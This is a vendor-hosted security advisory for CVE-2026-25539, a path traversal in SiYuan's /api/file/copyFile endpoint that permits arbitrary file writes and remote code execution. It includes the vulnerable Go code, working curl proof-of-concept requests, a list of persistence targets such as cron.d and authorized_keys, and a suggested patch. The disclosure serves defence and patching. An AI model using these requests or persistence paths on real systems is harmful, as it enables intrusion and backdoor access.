Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2026-25539

SiYuan has Arbitrary File Write via /api/file/copyFile leading to RCE
Back to all
CVE

CVE-2026-25539

SiYuan has Arbitrary File Write via /api/file/copyFile leading to RCE

Summary

The /api/file/copyFile endpoint does not validate the dest parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorized_keys, or shell configuration files.

  • Affected Version: 3.5.3 (and likely all prior versions)

Details

  • Type: Improper Limitation of a Pathname to a Restricted Directory (CWE-22)
  • Location: kernel/api/file.go - copyFile function
// kernel/api/file.go lines 94-139
func copyFile(c *gin.Context) {
    // ...
    src := arg["src"].(string)
    src, err := model.GetAssetAbsPath(src)  // src is validated
    // ...
    dest := arg["dest"].(string)  // dest is NOT validated!
    if err = filelock.Copy(src, dest); err != nil {
        // ...
    }
}

The src parameter is properly validated via model.GetAssetAbsPath(), but the dest parameter accepts any absolute path without validation, allowing files to be written outside the workspace directory.

PoC

Step 1: Upload malicious content to workspace

curl -X POST "http://target:6806/api/file/putFile" \
  -H "Authorization: Token <API_TOKEN>" \
  -F "path=/data/assets/malicious.sh" \
  -F "file=@-;filename=malicious.sh" <<< '#!/bin/sh
id > /tmp/pwned.txt
hostname >> /tmp/pwned.txt'

Step 2: Copy to arbitrary location (e.g., /tmp)

curl -X POST "http://target:6806/api/file/copyFile" \
  -H "Authorization: Token <API_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'

Response: {"code":0,"msg":"","data":null}

Step 3: Verify file was written outside workspace

cat /tmp/malicious.sh
## Output: #!/bin/sh
## id > /tmp/pwned.txt
## hostname >> /tmp/pwned.txt

Attack Scenarios

| Target Path | Impact |

|-------------|--------|

/etc/cron.d/backdoor | Scheduled command execution (RCE) |

~/.ssh/authorized_keys | Persistent SSH access |

~/.bashrc | Command execution on user login |

/etc/ld.so.preload | Shared library injection |

RCE Demonstration

 RCE was successfully demonstrated by writing a script and executing it:

## Write script to /tmp
curl -X POST "http://target:6806/api/file/copyFile" \
  -H "Authorization: Token <API_TOKEN>" \
  -d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}'
## Execute (simulating cron or login trigger)
sh /tmp/malicious.sh
## Result
cat /tmp/pwned.txt
## uid=0(root) gid=0(root) groups=0(root)...

Impact

An authenticated attacker (with API Token) can:

  1. Achieve Remote Code Execution with the privileges of the SiYuan process
  2. Establish persistent backdoor access via SSH keys
  3. Compromise the entire host system
  4. Access sensitive data on the same network (lateral movement)

Suggested Fix

Add path validation to ensure dest is within the workspace directory:

func copyFile(c *gin.Context) {
    // ...
    dest := arg["dest"].(string)
    // Add validation
    if !util.IsSubPath(util.WorkspaceDir, dest) {
        ret.Code = -1
        ret.Msg = "dest path must be within workspace"
        return
    }
    if err = filelock.Copy(src, dest); err != nil {
        // ...
    }
}

Solution

d7f790755edf8c78d2b4176171e5a0cdcd720feb

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
9.1
-
3.1
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
C
H
U
0
-
3.1
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
C
H
U
9.1
-
3.1
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Related Resources

No items found.

References

https://github.com/siyuan-note/siyuan/security/advisories/GHSA-c4jr-5q7w-f6r9, https://nvd.nist.gov/vuln/detail/CVE-2026-25539, https://github.com/siyuan-note/siyuan/commit/d7f790755edf8c78d2b4176171e5a0cdcd720feb, https://github.com/siyuan-note/siyuan

Severity

9.1

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
9.1
EPSS Probability
0.00513%
EPSS Percentile
0.66032%
Introduced Version
0,v0.0.0-20220823151938-6e754ef190a7,v2.1.9
Fix Available
v0.0.0-20260128134230-d7f790755edf

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading